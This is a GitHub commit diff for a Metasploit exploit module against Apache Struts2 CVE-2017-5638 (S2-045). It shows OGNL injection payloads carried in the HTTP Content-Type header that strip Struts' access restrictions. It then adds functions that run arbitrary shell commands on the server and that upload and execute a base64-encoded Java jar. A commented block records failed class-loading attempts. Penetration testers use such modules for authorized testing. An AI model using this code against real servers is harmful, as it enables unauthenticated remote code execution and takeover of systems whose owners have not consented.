Skip to content

Commit 2053b77

Browse files
committed
ARCH_CMD works
1 parent e7b6558 commit 2053b77

File tree

1 file changed

+152
-67
lines changed

1 file changed

+152
-67
lines changed

modules/exploits/multi/http/struts2_content_type_ognl.rb

Lines changed: 152 additions & 67 deletions
Original file line numberDiff line numberDiff line change
@@ -18,52 +18,77 @@ def initialize(info = {})
1818
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
1919
via http Content-Type header.
2020
},
21-
'Author' => [ 'Nixawk' ],
21+
'Author' => [
22+
'Nike.Zheng', # PoC
23+
'Nixawk', # Metasploit module
24+
'Chorder', # Metasploit module
25+
'egypt', # combining the above
26+
],
2227
'References' => [
2328
['CVE', '2017-5638'],
2429
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
2530
],
26-
'Platform' => %w{ unix win },
2731
'Privileged' => true,
28-
'Targets' =>
32+
'Targets' => [
2933
[
30-
['Apache Struts2 / unix', {} ],
31-
['Apache Struts2 / win', {} ]
34+
'Universal', {
35+
'Platform' => %w{ unix windows linux },
36+
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
37+
},
3238
],
39+
],
3340
'DisclosureDate' => 'Mar 07 2017',
34-
'DefaultTarget' => 0))
41+
'DefaultTarget' => 0))
3542

3643
register_options(
3744
[
3845
Opt::RPORT(8080),
3946
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
40-
OptString.new('CMD', [true, 'The command to be executed in remote server', 'dir'])
47+
]
48+
)
49+
register_advanced_options(
50+
[
51+
OptString.new('HTTP::Method', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
4152
]
4253
)
4354
end
4455

45-
def print_status(msg='')
46-
super("#{peer} - #{msg}")
47-
end
56+
def check
57+
var_a = rand_text_alpha_lower(4)
4858

49-
def send_http_request(content_type)
50-
uri = normalize_uri(datastore["TARGETURI"])
51-
resp = send_request_cgi(
52-
'uri' => uri,
53-
'version' => '1.1',
54-
'method' => 'GET',
55-
'headers' => {
56-
'Content-Type': content_type
57-
}
58-
)
59+
ognl = ""
60+
ognl << %q|(#[email protected]@getProperty('os.name')).|
61+
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
5962

60-
if resp && resp.code == 404
61-
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
63+
begin
64+
resp = send_http_request(ognl)
65+
rescue Msf::Exploit::Failed
66+
return Exploit::CheckCode::Unknown
6267
end
63-
resp
68+
69+
if resp && resp.code == 200 && resp.headers[var_a]
70+
print_good("Victim operating system: #{resp.headers[var_a]}")
71+
Exploit::CheckCode::Vulnerable
72+
else
73+
Exploit::CheckCode::Safe
74+
end
75+
end
76+
77+
def exploit
78+
case payload.arch.first
79+
when ARCH_JAVA
80+
datastore['LHOST'] = nil
81+
resp = send_payload(payload.encoded_jar)
82+
when ARCH_CMD
83+
resp = execute_command(payload.encoded)
84+
end
85+
86+
#require'pp'
87+
#pp resp.headers if resp
6488
end
6589

66-
def http_send_command(cmd)
90+
def send_http_request(ognl, method: 'LOLWUT', stuff: '')
91+
uri = normalize_uri(datastore["TARGETURI"])
6792
content_type = "%{(#_='multipart/form-data')."
6893
content_type << "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
6994
content_type << "(#_memberAccess?"
@@ -73,56 +98,116 @@ def http_send_command(cmd)
7398
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
7499
content_type << "(#ognlUtil.getExcludedClasses().clear())."
75100
content_type << "(#context.setMemberAccess(#dm))))."
76-
content_type << "(#cmd='#{cmd}')."
77-
content_type << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
78-
content_type << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
79-
content_type << "(#p=new java.lang.ProcessBuilder(#cmds))."
80-
content_type << "(#p.redirectErrorStream(true))."
81-
content_type << "(#process=#p.start())."
82-
content_type << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
83-
content_type << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
84-
content_type << "(#ros.flush())}"
85-
send_http_request(content_type)
86-
end
101+
content_type << ognl
102+
content_type << "}"
87103

88-
def check
89-
var_a = rand_text_alpha_lower(4)
104+
headers = { 'Content-Type' => content_type }
105+
if stuff
106+
headers['stuff'] = stuff
107+
end
90108

91-
content_type = ""
92-
content_type << %q|%{|
93-
content_type << %q|(#_='multipart/form-data').|
94-
content_type << %q|(#[email protected]@DEFAULT_MEMBER_ACCESS).|
95-
content_type << %q|(#_memberAccess?|
96-
content_type << %q|(#_memberAccess=#dm):|
97-
content_type << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).|
98-
content_type << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).|
99-
content_type << %q|(#ognlUtil.getExcludedPackageNames().clear()).|
100-
content_type << %q|(#ognlUtil.getExcludedClasses().clear()).|
101-
content_type << %q|(#context.setMemberAccess(#dm)))).|
102-
content_type << %q|(#[email protected]@getProperty('os.name')).|
103-
content_type << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
104-
content_type << %q|}|
109+
#puts content_type.gsub(").", ").\n")
110+
#puts
111+
#puts content_type.length
112+
#puts
105113

106-
begin
107-
resp = send_http_request(content_type)
108-
rescue Msf::Exploit::Failed
109-
return Exploit::CheckCode::Unknown
110-
end
114+
resp = send_request_cgi(
115+
'uri' => uri,
116+
'method' => method,
117+
'headers' => headers
118+
)
111119

112-
if resp && resp.code == 200 && resp.headers[var_a]
113-
print_good("Victim operating system: #{resp.headers[var_a]}")
114-
Exploit::CheckCode::Vulnerable
115-
else
116-
Exploit::CheckCode::Safe
120+
if resp && resp.code == 404
121+
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
117122
end
123+
resp
118124
end
119125

120-
def exploit
121-
unless check == Exploit::CheckCode::Vulnerable
122-
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
123-
end
126+
def execute_command(cmd)
127+
ognl = ''
128+
ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
129+
ognl << %q|(#[email protected]@getRequest().getHeader('stuff')).|
130+
ognl << %q|(#r.addHeader('decoded',#cmd)).|
131+
ognl << %q|(#[email protected]@getProperty('os.name')).|
132+
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
133+
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
134+
ognl << "(#p.redirectErrorStream(true))."
135+
ognl << "(#process=#p.start())."
124136

125-
resp = http_send_command(datastore['cmd'])
126-
print_status("Command output: #{resp.body}")
137+
ognl << %q|(#r.addHeader('end','end'))|
138+
139+
send_http_request(ognl, stuff: cmd)
127140
end
141+
142+
def send_payload(jar)
143+
ognl = ""
144+
ognl << %q|(#[email protected]@getRequest().getHeader('stuff')).|
145+
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#stuff)).|
146+
ognl << %q|(#[email protected]@createTempFile('metasploit','.jar')).|
147+
ognl << %q|(#f.deleteOnExit()).|
148+
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
149+
ognl << %q|(#fos.write(#d)).|
150+
ognl << %q|(#r='com.opensymphony.xwork2.dispatcher.HttpServletResponse').|
151+
152+
ognl << %q|(#context[#r].addHeader('stuff',#d[0])).|
153+
ognl << %q|(#p=new java.lang.ProcessBuilder({'/usr/bin/java','-jar',#f.getAbsolutePath()})).|
154+
ognl << %q|(#context[#r].addHeader('stuff',#f.getAbsolutePath())).|
155+
ognl << %q|(#p.start()).|
156+
157+
ognl << %q|(#context[#r].addHeader('end','end'))|
158+
send_http_request(ognl, stuff: [jar.pack].pack("m").delete("\n"))
159+
end
160+
128161
end
162+
163+
=begin
164+
Doesn't work:
165+
166+
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
167+
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
168+
ognl << %q|(#[email protected]@getMethods(#c,'run',true).get(0)).|
169+
ognl << %q|(#context[#r].addHeader('meth',#m.toGenericString())).|
170+
ognl << %q|(#m.invoke(null,null)).|
171+
172+
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
173+
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
174+
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
175+
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
176+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
177+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
178+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
179+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
180+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
181+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
182+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
183+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
184+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
185+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
186+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
187+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
188+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
189+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
190+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
191+
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
192+
193+
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
194+
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
195+
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
196+
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
197+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
198+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
199+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
200+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
201+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
202+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
203+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
204+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
205+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
206+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
207+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
208+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
209+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
210+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
211+
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
212+
213+
=end

0 commit comments

Comments
 (0)